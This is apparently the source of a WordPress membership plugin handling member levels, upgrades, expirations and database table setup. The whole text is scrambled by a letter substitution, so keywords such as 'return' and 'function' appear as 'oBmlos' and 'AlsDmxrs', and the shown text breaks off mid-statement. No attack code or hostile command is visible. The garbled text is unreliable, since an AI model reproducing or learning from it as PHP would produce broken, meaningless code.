oBmlos oFsC(OPPPPP, GGGGGG)U } qlEuxD nmFmxD AlsDmxrs BimoFDm(SkFon=sluu) { SlnBosFtB = QplrmUQplrmUU SAxonmsFtB = QplrmUQplrmUU SuFnmsFtB = QplrmUQplrmUU SBtFxu = QplrmUQplrmUU SqFnnjroCO = QplrmUQplrmUU SqFnnjroCN = QplrmUQplrmUU xA (SkFon == sluu) { SkFon = S_01$#U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_lnBosFtBQplrmU])) { SlnBosFtB = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_lnBosFtBQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_AxonmsFtBQplrmU])) { SAxonmsFtB = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_AxonmsFtBQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_uFnmsFtBQplrmU])) { SuFnmsFtB = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_uFnmsFtBQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_BtFxuQplrmU])) { SBtFxu = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_BtFxuQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_qFnnjroCOQplrmU])) { SqFnnjroCO = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_qFnnjroCOQplrmU])U } xA (xnnBm(SkFon[QplrmUtBtEBozBsxln_qFnnjroCNQplrmU])) { SqFnnjroCN = nmoxqnuFnyBn(SkFon[QplrmUtBtEBozBsxln_qFnnjroCNQplrmU])U } xA (SqFnnjroCO == QplrmUQplrmU) { SqFnnjroCO = 3BtEBo9Bsxln::zBsBoFmB()U SqFnnjroCN = SqFnnjroCOU } oBmlos FooFh( QplrmUlnBosFtBQplrmU =QzmU moxt(SlnBosFtB), QplrmUAxonmsFtBQplrmU =QzmU moxt(SAxonmsFtB), QplrmUuFnmsFtBQplrmU =QzmU moxt(SuFnmsFtB), QplrmUBtFxuQplrmU =QzmU moxt(SBtFxu), QplrmUqFnnjroCOQplrmU =QzmU moxt(SqFnnjroCO), QplrmUqFnnjroCNQplrmU =QzmU moxt(SqFnnjroCN) )U } } DuFnn 3BtEBo9Bsxln3rCBu { qoxkFmB SuBkBu#FEuBU qoxkFmB SuBkBu$Bmmxszn#FEuBU qoxkFmB SlnBo#FEuBU qoxkFmB SDrsmBsm#FEuBU qoxkFmB SnBmmxszn#FEuBU qoxkFmB SmBtq#FEuBU AlsDmxrs __DrsnmolDm() { zurEFu SjqCEU SqoBAxi = SjqCE-QzmUqoBAxi . QplrmUtBtEBozBsxln_QplrmUU Smyxn-QzmUuBkBu#FEuB = SqoBAxi.QplrmUuBkBunQplrmUU Smyxn-QzmUuBkBu$Bmmxszn#FEuB = SqoBAxi.QplrmUuBkBu_nBmmxsznQplrmUU Smyxn-QzmUlnBo#FEuB = SqoBAxi.QplrmUlnBonQplrmUU Smyxn-QzmUlnBo$Bmmxszn#FEuB = SqoBAxi.QplrmUlnBo_nBmmxsznQplrmUU Smyxn-QzmUDrsmBsm#FEuB = SqoBAxi.QplrmUDrsmBsmQplrmUU Smyxn-QzmUnBmmxszn#FEuB = SqoBAxi.QplrmUnBmmxsznQplrmUU Smyxn-QzmUmBtq#FEuB = SqoBAxi.QplrmUmBtqnQplrmUU FCC_FDmxrs( QTPMGUqoB_lnBo_plBohQTPMGU, FooFh(QFtqUSmyxn, QplrmUqoB;nBo&lBohQplrmU))U FCC_FDmxrs( QTPMGUEBAroB_CBuBmB_qrnmQTPMGU, FooFh(QFtqUSmyxn, QTPMGUrscBuBmB0rnmQTPMGU))U FCC_FDmxrs( QTPMGUCBuBmB_lnBoQTPMGU, FooFh(QFtqUSmyxn, QTPMGUrscBuBmB;nBoQTPMGU))U xA (VSmyxn-QzmUnBmmxsz(QplrmUzBsBoxD_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUzBsBoxD_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUqFhqFu_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUqFhqFu_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUwkg_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUwkg_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUDuxDvEFsv_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUDuxDvEFsv_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUjFooxroquln_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUjFooxroquln_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUmyoxkBDFom_nBDoBmQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUmyoxkBDFom_nBDoBmQplrmU, Smyxn-QzmUyFny())U } xA (VSmyxn-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUwkg_mrvBsQplrmU, oFsC(OPPPPPPP, GGGGGGGG))U } xA (VSmyxn-QzmUnBmmxsz(QplrmUFqx_vBhQplrmU)) { Smyxn-QzmUnBmmxsz(QplrmUFqx_vBhQplrmU, Smyxn-QzmUyFny(OJ))U } xA (Smyxn-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU) === sluu) { Smyxn-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU, O)U } xA (Smyxn-QzmUnBmmxsz(QplrmUBtFxuFmmoxElmxrsQplrmU) === sluu) { Smyxn-QzmUnBmmxsz(QplrmUFmmoxElmxrsQplrmU, O)U } FCC_FDmxrs( QTPMGUtBtEBozBsxln_qorDBnnQTPMGU, FooFh(QFtqUSmyxn, QTPMGUqorDBnnQTPMGU))U FCC_FDmxrs( QTPMGUjqQTPMGU, FooFh(QFtqUSmyxn, QplrmUnBmlq$DyBCluBQplrmU))U } AlsDmxrs DuBFslq() { xA (Smyxn-QzmUDrlsm4BkBun() == P) { Smyxn-QzmUDoBFmB4BkBu(QplrmUaluuQplrmU, molB)U } } qlEuxD AlsDmxrs nBmlq$DyBCluB() { xA (Vjq_sBim_nDyBCluBC(QTPMGUtBtEBozBsxln_qorDBnnQTPMGU)) { jq_nDyBCluB_BkBsm(mxtB(), QTPMGUyrlouhQTPMGU, QTPMGUtBtEBozBsxln_qorDBnnQTPMGU)U } } qlEuxD AlsDmxrs qorDBnn(Ssrj=sluu) { xA (Ssrj == sluu) { Ssrj = mxtB()U } Smyxn-QzmUqorDBnnbiqxoFmxrs(Ssrj)U Smyxn-QzmUqorDBnn;qzoFCB(Ssrj)U } qlEuxD AlsDmxrs qorDBnn;qzoFCB(Ssrj=sluu, SlnBo=sluu) { xA (Ssrj == sluu) { Ssrj = mxtB()U } nBm_mxtB_uxtxm(P)U xzsroB_lnBo_FErom(molB)U SuBkBu7sAr = FooFh()U SuBkBun = Smyxn-QzmUzBm4BkBun()U AroBFDy (SuBkBun Fn SuBkBu) { SCBuFh = @xsmkFu(Smyxn-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUCBuFhQplrmU))U SCFmBcBuFh = @xsmkFu(Smyxn-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUCFmBcBuFhQplrmU))U SlqzoFCB = sluuU xA (SFCC = Smyxn-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUFCCQplrmU)) { StBmyrC = QplrmUFCCQplrmUU SlqzoFCB = SFCCU } xA (StrkB = Smyxn-QzmUuBkBu$Bmmxsz(SuBkBu-QzmU7c, QplrmUtrkBQplrmU)) { StBmyrC = QplrmUtrkBQplrmUU SlqzoFCB = StrkBU } SBiqxoFmxrs = SuBkBu-QzmUuBkBu_BiqxoFmxrsU SuBkBu7sAr[SuBkBu-QzmU7c] = FooFh( QplrmUFCCQplrmU =QzmU SFCC, QplrmUtrkBQplrmU =QzmU StrkB, QplrmUBiqxoFmxrsQplrmU =QzmU SBiqxoFmxrs, QplrmUlqzoFCBQplrmU =QzmU SlqzoFCB, QplrmUCBuFhQplrmU =QzmU SCBuFh, QplrmUCFmBcBuFhQplrmU =QzmU SCFmBcBuFh )U } xA (SlnBo) { StBtEBon = FooFh(SlnBo)U } BunB { StBtEBon = Smyxn-QzmUzBm3BtEBon(QplrmUDors=SsrjQplrmU)U } AroBFDy (StBtEBon Fn StBtEBo) { xA (xn_sltBoxD(StBtEBo)) { StBtEBo7c = StBtEBoU } BunBxA (xnnBm(StBtEBo-QzmU7c)) { StBtEBo7c = StBtEBo-QzmU7cU } BunB { DrsmxslBU } SlnBo4BkBun = Smyxn-QzmUzBm4BkBu7sAr(StBtEBo7c)U AroBFDy (SlnBo4BkBun Fn SuBkBu7c =QzmU SuBkBu) { xA (SuBkBu-QzmUuBkBu_nmFmln V= QplrmUfQplrmU) { DrsmxslBU } SCFhn1s4BkBu = PU SBiqxoFmxrs = SuBkBu7sAr[SuBkBu7c][QplrmUBiqxoFmxrsQplrmU]U SlqzoFCB = SuBkBu7sAr[SuBkBu7c][QplrmUlqzoFCBQplrmU]U SCBuFh = SuBkBu7sAr[SuBkBu7c][QplrmUCBuFhQplrmU]U SCFmBcBuFh = SuBkBu7sAr[SuBkBu7c][QplrmUCFmBcBuFhQplrmU]U SFCC = SuBkBu7sAr[SuBkBu7c][QplrmUFCCQplrmU]U StrkB = SuBkBu7sAr[SuBkBu7c][QplrmUtrkBQplrmU]U xA (SBiqxoFmxrs || SFCC || StrkB) { SCFhn1s4BkBu = Smyxn-QzmUzBmcFhn1s4BkBu(StBtEBo7c, SuBkBu7c, Ssrj)U } xA (SuBkBu7sAr[SuBkBu7c][QplrmUFCCQplrmU]) { SFCC = SuBkBu7sAr[SuBkBu7c][QplrmUFCCQplrmU]U } BunBxA (SuBkBu7sAr[SuBkBu7c][QplrmUtrkBQplrmU]) { StrkB = SuBkBu7sAr[SuBkBu7c][QplrmUtrkBQplrmU]U } xA (SBiqxoFmxrs QFtqUQFtqU SBiqxoFmxrs == SCFhn1s4BkBu) { Smyxn-QzmUDFsDBu(StBtEBo7c, SuBkBu7c)U } xA (SFCC) { xA (SCFmBcBuFh) { xA (SCFmB1AAnBm - SCFmBcBuFh QumU HJLPP) { Smyxn-QzmUFCC(StBtEBo7c, SFCC, SuBkBu-QzmUuBkBu_mis, SCFmBcBuFh)U } } BunBxA (SCBuFh == SCFhn1s4BkBu) { Smyxn-QzmUFCC(StBtEBo7c, SFCC, SuBkBu-QzmUuBkBu_mis, Ssrj)U } } BunBxA (StrkB) { xA (SCBuFh == SCFhn1s4BkBu) { Smyxn-QzmUtrkB(StBtEBo7c, StrkB)U } } } Smyxn-QzmUlnBo$Bmmxsz(StBtEBo7c, QplrmUDors4FnmQplrmU, Ssrj)U } } qlEuxD AlsDmxrs qorDBnnbiqxoFmxrs(Ssrj=sluu) { xA (Ssrj == sluu) { Ssrj = mxtB()U } nBm_mxtB_uxtxm(P)U xzsroB_lnBo_FErom(molB)U SuBkBun = Smyxn-QzmUzBm4BkBun()U AroBFDy (SuBkBun Fn SuBkBu) { xA (SuBkBu-QzmUuBkBu_BiqxoFmxrs == P) { DrsmxslBU } SBiqxoBCcFh = Ssrj - (SuBkBu-QzmUuBkBu_BiqxoFmxrs * HJLPP)U SCFmB	FszB = HJLPP-OHPPU SCFmB$mFom = SBiqxoBCcFh - SCFmB	FszBU SCFmBbsC = SBiqxoBCcFhU StBtEBon = Smyxn-QzmUzBm3BtEBon(QplrmUuBkBu=QplrmU.SuBkBu-QzmU7c.QplrmUQFtqUuBkBu_nmFmln=fQFtqUuBkBu_FAmBo=QplrmU.SCFmB$mFom.QplrmUQFtqUuBkBu_EBAroB=QplrmU.SCFmBbsC)U AroBFDy (StBtEBon Fn StBtEBo) { SuFnm	ls = @xsmkFu(Smyxn-QzmUlnBo$Bmmxsz(StBtEBo-QzmU7c, QplrmUuFnm_BiqxoFmxrsQplrmU))U xA (SuFnm	ls QumU Ssrj QFtqUQFtqU Ssrj-SuFnm	ls QumU HJLPP) { DrsmxslBU } Smyxn-QzmUlnBo$Bmmxsz(StBtEBo-QzmU7c, QplrmUuFnm_BiqxoFmxrsQplrmU, Ssrj)U Smyxn-QzmUDFsDBu(StBtEBo-QzmU7c, StBtEBo-QzmUuBkBu_xC)U } } } qlEuxD AlsDmxrs nxzslq;	4(SyFny=QplrmUQplrmU, SBnDFqBC=AFunB) { xA (SBnDFqBC) { oBmlos nxmB_lou(QplrmUWQplrmU.louBsDrCB(QplrmU/zBsxln/QplrmU).SyFny)U } oBmlos nxmB_lou(QplrmUxsCBi.qyqW/zBsxln/QplrmU.SyFny)U } qlEuxD AlsDmxrs yFny(SuBszmy=J) { SDruuxnxrs = molBU jyxuB (SDruuxnxrs) { SCxDmxrsFoh = FooFh_tBozB(oFszB(QTPMGUPQTPMGU,QTPMGUGQTPMGU),oFszB(QTPMGUFQTPMGU,QTPMGUgQTPMGU),oFszB(QTPMGUfQTPMGU,QTPMGU<QTPMGU))U xA (Vxn_xsm(SuBszmy) || @xsmkFu(SuBszmy) QumU J) { SuBszmy = JU } SoBnlum = QplrmUQplrmUU Aro (Sx=PUSxQumUSuBszmyUSx++) { SoBnlum .= SCxDmxrsFoh[FooFh_oFsC(SCxDmxrsFoh)]U } SDruuxnxrs = Smyxn-QzmUyFnydruuxnxrs(SoBnlum)U } oBmlos SoBnlumU } qoxkFmB AlsDmxrs yFnydruuxnxrs(SyFny) { SqFhtBsm = Smyxn-QzmUzBm0FhtBsmaort8Fny(SyFny)U SuBkBu = Smyxn-QzmUzBm4BkBuaort8Fny(SyFny)U xA (SqFhtBsm || SuBkBu) { oBmlos molBU } oBmlos AFunBU } qlEuxD AlsDmxrs nvl() { SDruuxnxrs = molBU jyxuB (SDruuxnxrs) { Snvl = oFsC(OPPPPPPPPP, OGGGGGGGGG)U SDruuxnxrs = Smyxn-QzmUnvldruuxnxrs(Snvl)U } oBmlos SnvlU } qoxkFmB AlsDmxrs nvldruuxnxrs(Snvl) { oBmlos Smyxn-QzmUzBm4BkBu(Snvl)U } AlsDmxrs lsxsnmFuu() { xA (VAlsDmxrs_Bixnmn(QplrmUjq_CBuBmB_qrnmQplrmU)) { oBmlosU } xA (SquFDByruCBo = zBm_qFzB_Eh_qFmy(QplrmUtBtEBozBsxlnQplrmU)) { jq_CBuBmB_qrnm(SquFDByruCBo-QzmU7c)U } } AlsDmxrs zBm0ulzxs!Bonxrs() { Squlzxs_AruCBo = @zBm_qulzxsn( QTPMGU/QTPMGU . qulzxs_EFnBsFtB( CxosFtB( __a74b__ ) ) )U Squlzxs_AxuB = EFnBsFtB( ( __a74b__ ) )U Squlzxs_kBonxrs = Squlzxs_AruCBo[Squlzxs_AxuB][QTPMGU!BonxrsQTPMGU]U oBmlos Squlzxs_kBonxrsU } AlsDmxrs tFhEB7snmFuu() { xA (Smyxn-QzmUzBm0ulzxs!Bonxrs() V= Smyxn-QzmUnBmmxsz(QplrmUkBonxrsQplrmU)) { Smyxn-QzmUxsnmFuu()U } } AlsDmxrs xsnmFuu() { zurEFu SjqCEU oBplxoB_rsDB(DrsnmFsm(QplrmUfe$0f#8QplrmU) . QTPMGUjq-FCtxs/xsDulCBn/lqzoFCB.qyqQTPMGU)U xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUuBkBu#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUuBkBu#FEuB) { CEcBumF(QplrmUd	bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUuBkBu#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d	b3b2#, `uBkBu_sFtB` kFoDyFo(JL) 21# 2;44, `uBkBu_yFny` kFoDyFo(J) 21# 2;44, `uBkBu_Fuu` #72QplrmU.Dyo(HG).QplrmU72#(O) 21# 2;44 cbaf;4# QTPMGUOQTPMGU, `uBkBu_DrttBsmn` mxshxsm(O) 21# 2;44 cbaf;4# QTPMGUOQTPMGU, `uBkBu_qFzB_oBzxnmBo` xsm(OO) cbaf;4# 2;44, `uBkBu_qFzB_urzxs` xsm(OO) cbaf;4# 2;44, `uBkBu_BiqxoFmxrs` xsm(OO) cbaf;4# 2;44, 0	73f	QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `uBkBu_yFny` (`uBkBu_yFny`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `uBkBu_sFtB` (`uBkBu_sFtB`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_BiqxoFmxrs` (`uBkBu_BiqxoFmxrs`)) cbaf;4# d8f	$b#=lmAHUQplrmU)U Smyxn-QzmUDuBFslq()U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUuBkBu$Bmmxszn#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUuBkBu$Bmmxszn#FEuB) { CEcBumF(QplrmUd	bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d	b3b2#, `uBkBu_xC` xsm(OO) 21# 2;44, `uBkBu_vBh` !f	d8f	(NKK) 21# 2;44, `uBkBu_kFulB` #b>#, 0	73f	QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `uBkBu_vBh` (`uBkBu_xC`,`uBkBu_vBh`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_xC` (`uBkBu_xC`)) cbaf;4# d8f	$b#=lmAHUQplrmU)U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUlnBo#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUlnBo#FEuB) { CEcBumF(QplrmUd	bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUlnBo#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d	b3b2#, `lnBo_xC` xsm(OO) 21# 2;44, `uBkBu_xC` xsm(OO) 21# 2;44, `uBkBu_nmFmln` DyFo(O) 21# 2;44 cbaf;4# QTPMGUfQTPMGU, `uBkBu_mis` kFoDyFo(JL) cbaf;4# 2;44, `uBkBu_nlEnDoxEBC` mxshxsm(O) 21# 2;44 cbaf;4# QTPMGUPQTPMGU, `uBkBu_CFmB` CFmBmxtB cbaf;4# 2;44, 0	73f	QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `lnBouBkBu_xC` (`lnBo_xC`,`uBkBu_xC`), 5bQplrmU.Dyo(HG).QplrmU `lnBo_xC` (`lnBo_xC`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_xC` (`uBkBu_xC`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_nmFmln` (`uBkBu_nmFmln`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_mis` (`uBkBu_mis`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_nlEnDoxEBC` (`uBkBu_nlEnDoxEBC`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_CFmB` (`uBkBu_CFmB`)) cbaf;4# d8f	$b#=lmAHUQplrmU)U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUlnBo$Bmmxszn#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUlnBo$Bmmxszn#FEuB) { CEcBumF(QplrmUd	bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUlnBo$Bmmxszn#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d	b3b2#, `lnBo_xC` xsm(OO) 21# 2;44, `lnBo_vBh` !f	d8f	(NKK) 21# 2;44, `lnBo_kFulB` #b>#, 0	73f	QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `lnBo_vBh` (`lnBo_xC`,`lnBo_vBh`), 5bQplrmU.Dyo(HG).QplrmU `lnBo_xC` (`lnBo_xC`), a;44#b># 5bQplrmU.Dyo(HG).QplrmU `lnBo_kFulB` (`lnBo_kFulB`)) cbaf;4# d8f	$b#=lmAHUQplrmU)U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUDrsmBsm#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUDrsmBsm#FEuB) { CEcBumF(QplrmUd	bf#b #fe4b 7a 21# b>7$#$ `QplrmU.Smyxn-QzmUDrsmBsm#FEuB.QplrmU` (`7c` xsm(OO) 21# 2;44 f;#1_72d	b3b2#, `uBkBu_xC` xsm(OO) 21# 2;44, `qrnm_xC` xsm(OO) 21# 2;44, 0	73f	QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `qrnmuBkBu_xC` (`uBkBu_xC`,`qrnm_xC`), 5bQplrmU.Dyo(HG).QplrmU `qrnm_xC` (`qrnm_xC`), 5bQplrmU.Dyo(HG).QplrmU `uBkBu_xC` (`uBkBu_xC`)) cbaf;4# d8f	$b#=lmAHUQplrmU)U Smyxn-QzmUqormBDmfuu0rnmn()U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUnBmmxszn#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUnBmmxszn#FEuB) { CEcBumF(QplrmUd	bf#b #fe4b 7a 21# b>7$#$ QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU (`7c` xsm(OO) 21# 2;44 f;#1_72d	b3b2#, `rqmxrs_sFtB` kFoDyFo(JL) 21# 2;44, `rqmxrs_kFulB` urszmBim 21# 2;44, 0	73f	QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `rqmxrs_sFtB` (`rqmxrs_sFtB`)) cbaf;4# d8f	$b#=lmAHUQplrmU)U } xA (SjqCE-QzmUzBm_kFo(QplrmU$81? #fe4b$ 475b QTPMGUQplrmU . Smyxn-QzmUmBtq#FEuB . QplrmUQTPMGUQplrmU) V= Smyxn-QzmUmBtq#FEuB) { CEcBumF(QplrmUd	bf#b #fe4b 7a 21# b>7$#$ QplrmU.Smyxn-QzmUmBtq#FEuB.QplrmU (`7c` xsm(OO) 21# 2;44 f;#1_72d	b3b2#, `mis_xC` kFoDyFo(JL) 21# 2;44, `uBkBu_xC` xsm(OO) 21# 2;44 cbaf;4# QTPMGUPQTPMGU, `uBkBu_nmFmln` DyFo(O) 21# 2;44 cbaf;4# QTPMGUfQTPMGU, `mBtq_tBmFCFmF` urszmBim , `mBtq_DoBFmBC` mxtBnmFtq 21# 2;44 cbaf;4# d;		b2#_#73b$#f30, 0	73f	QplrmU.Dyo(HG).QplrmU 5bQplrmU.Dyo(HG).QplrmU (`7c`), ;27&;b 5bQplrmU.Dyo(HG).QplrmU `mis_xC` (`mis_xC`), 5bQplrmU.Dyo(HG).QplrmU `DoBFmBC` (`mBtq_DoBFmBC`)) cbaf;4# d8f	$b#=lmAHUQplrmU)U } Smyxn-QzmUnBmmxsz(QplrmUkBonxrsQplrmU, Smyxn-QzmUzBm0ulzxs!Bonxrs())U } qlEuxD AlsDmxrs nBmmxsz() { zurEFu SjqCEU zurEFu StBtEBozBsxlnU Suxnm = sluuU SkFulB = sluuU SFozn = AlsD_zBm_Fozn()U xA (Drlsm(SFozn) QzmU= N) { @uxnm(SsFtB, SkFulB) = SFoznU } BunB { @uxnm(SsFtB) = SFoznU } xA (Vxn_FooFh(SFozn) || Drlsm(SFozn) == P) { oBmlosU } SoBmlos = sluuU xA (Drlsm(SFozn) == O) { SsFtB = oBnBm(SFozn)U SoBmlos = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# rqmxrs_kFulB a	13 QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU ?8b	b rqmxrs_sFtB = QTPMGUQplrmU.BnD_npu(SsFtB).QplrmUQTPMGUQplrmU)U xA (xn_nBoxFuxgBC(SoBmlos)) { StFhEB;snBoxFuxgB = @lsnBoxFuxgB(SoBmlos)U } BunB { StFhEB;snBoxFuxgB = SoBmlosU } oBmlos StFhEB;snBoxFuxgBU } BunBxA (Drlsm(SFozn) QzmU O QFtqUQFtqU SkFulB === sluu) { 3BtEBo9Bsxln::DuBFodFDyB()U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU ?8b	b rqmxrs_sFtB = QTPMGUQplrmU.BnD_npu(SsFtB).QplrmUQTPMGUQplrmU)U } BunB { 3BtEBo9Bsxln::DuBFodFDyB()U xA (xn_FooFh(SkFulB) || xn_rEwBDm(SkFulB)) { SkFulB = nBoxFuxgB(SkFulB)U } SjqCE-QzmUplBoh(QplrmU72$b	# 7921	b 72#1 QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU $b# rqmxrs_sFtB = QTPMGUQplrmU.BnD_npu(SsFtB).QplrmUQTPMGU, rqmxrs_kFulB=QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SkFulB)).QplrmUQTPMGUQplrmU)U SjqCE-QzmUplBoh(QplrmU;0cf#b QplrmU.Smyxn-QzmUnBmmxszn#FEuB.QplrmU $b# rqmxrs_kFulB=QTPMGUQplrmU.BnD_npu(SkFulB).QplrmUQTPMGU ?8b	b rqmxrs_sFtB = QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SsFtB)).QplrmUQTPMGUQplrmU)U SoBmlos = SkFulBU } xA (SoBmlos == sluu QFtqUQFtqU SkFulB == sluu) { xA (SsFtB == QplrmUroCBoQplrmU) { oBmlos QplrmUCBnDBsCxszQplrmUU } } oBmlos SoBmlosU } qlEuxD AlsDmxrs uBkBu$Bmmxsz() { zurEFu SjqCEU zurEFu StBtEBozBsxlnU Suxnm = sluuU SkFulB = sluuU SFozn = AlsD_zBm_Fozn()U @uxnm(SuBkBu7c, SuBkBu5Bh, SuBkBu!FulB) = SFoznU xA (Vxn_FooFh(SFozn) || Drlsm(SFozn) == P) { oBmlosU } SoBmlos = sluuU xA (Drlsm(SFozn) == O) { SoBmlos = SjqCE-QzmUzBm_oBnlumn(QplrmU$b4bd# uBkBu_vBh, uBkBu_kFulB a	13 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB .QplrmU ?8b	b uBkBu_xC = QplrmU.xsmkFu(SuBkBu7c))U xA (VSoBmlos) { oBmlos FooFh()U } SoBnlumn = FooFh()U AroBFDy (SoBmlos Fn Sorj) { SvBh = Sorj[QplrmUuBkBu_vBhQplrmU]U SkFulB = Sorj[QplrmUuBkBu_kFulBQplrmU]U SoBnlumn[SvBh] = SkFulBU } oBmlos SoBnlumnU } xA (Drlsm(SFozn) == N) { SoBmlos = SjqCE-QzmUzBm_kFo(QplrmU$b4bd# uBkBu_kFulB a	13 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB .QplrmU ?8b	b uBkBu_xC = QplrmU.xsmkFu(SuBkBu7c). QplrmU f2c uBkBu_vBh = QTPMGUQplrmU.BnD_npu(SuBkBu5Bh).QplrmUQTPMGUQplrmU)U xA (SoBmlos == nBoxFuxgB(AFunB) || @lsnBoxFuxgB(SoBmlos) V== AFunB) { StFhEB;snBoxFuxgB = @lsnBoxFuxgB(SoBmlos)U } BunB { StFhEB;snBoxFuxgB = SoBmlosU } oBmlos nmoxqnuFnyBn(StFhEB;snBoxFuxgB)U } BunBxA (Drlsm(SFozn) == M QFtqUQFtqU SuBkBu!FulB === sluu) { 3BtEBo9Bsxln::DuBFodFDyB()U SjqCE-QzmUplBoh(QplrmUcb4b#b a	13 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB.QplrmU ?8b	b uBkBu_xC = QplrmU.xsmkFu(SuBkBu7c).QplrmU f2c uBkBu_vBh = QTPMGUQplrmU.BnD_npu(SuBkBu5Bh).QplrmUQTPMGUQplrmU)U } BunB { 3BtEBo9Bsxln::DuBFodFDyB()U xA (xn_FooFh(SkFulB) || xn_rEwBDm(SkFulB)) { SkFulB = nBoxFuxgB(SkFulB)U } SjqCE-QzmUplBoh(QplrmU72$b	# 7921	b 72#1 QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB.QplrmU $b# uBkBu_xC = QplrmU.xsmkFu(SuBkBu7c).QplrmU, uBkBu_vBh = QTPMGUQplrmU.BnD_npu(SuBkBu5Bh).QplrmUQTPMGU, uBkBu_kFulB=QTPMGUQplrmU.BnD_npu(nmoxqnuFnyBn(SuBkBu!FulB)).QplrmUQTPMGUQplrmU)U SjqCE-QzmUplBoh(QplrmU;0cf#b 7921	b QplrmU.Smyxn-QzmUuBkBu$Bmmxszn#FEuB.QplrmU $b# uBkBu_xC=QplrmU.xsmkFu(SuBkBu7c).QplrmU, uBkBu_kFulB = 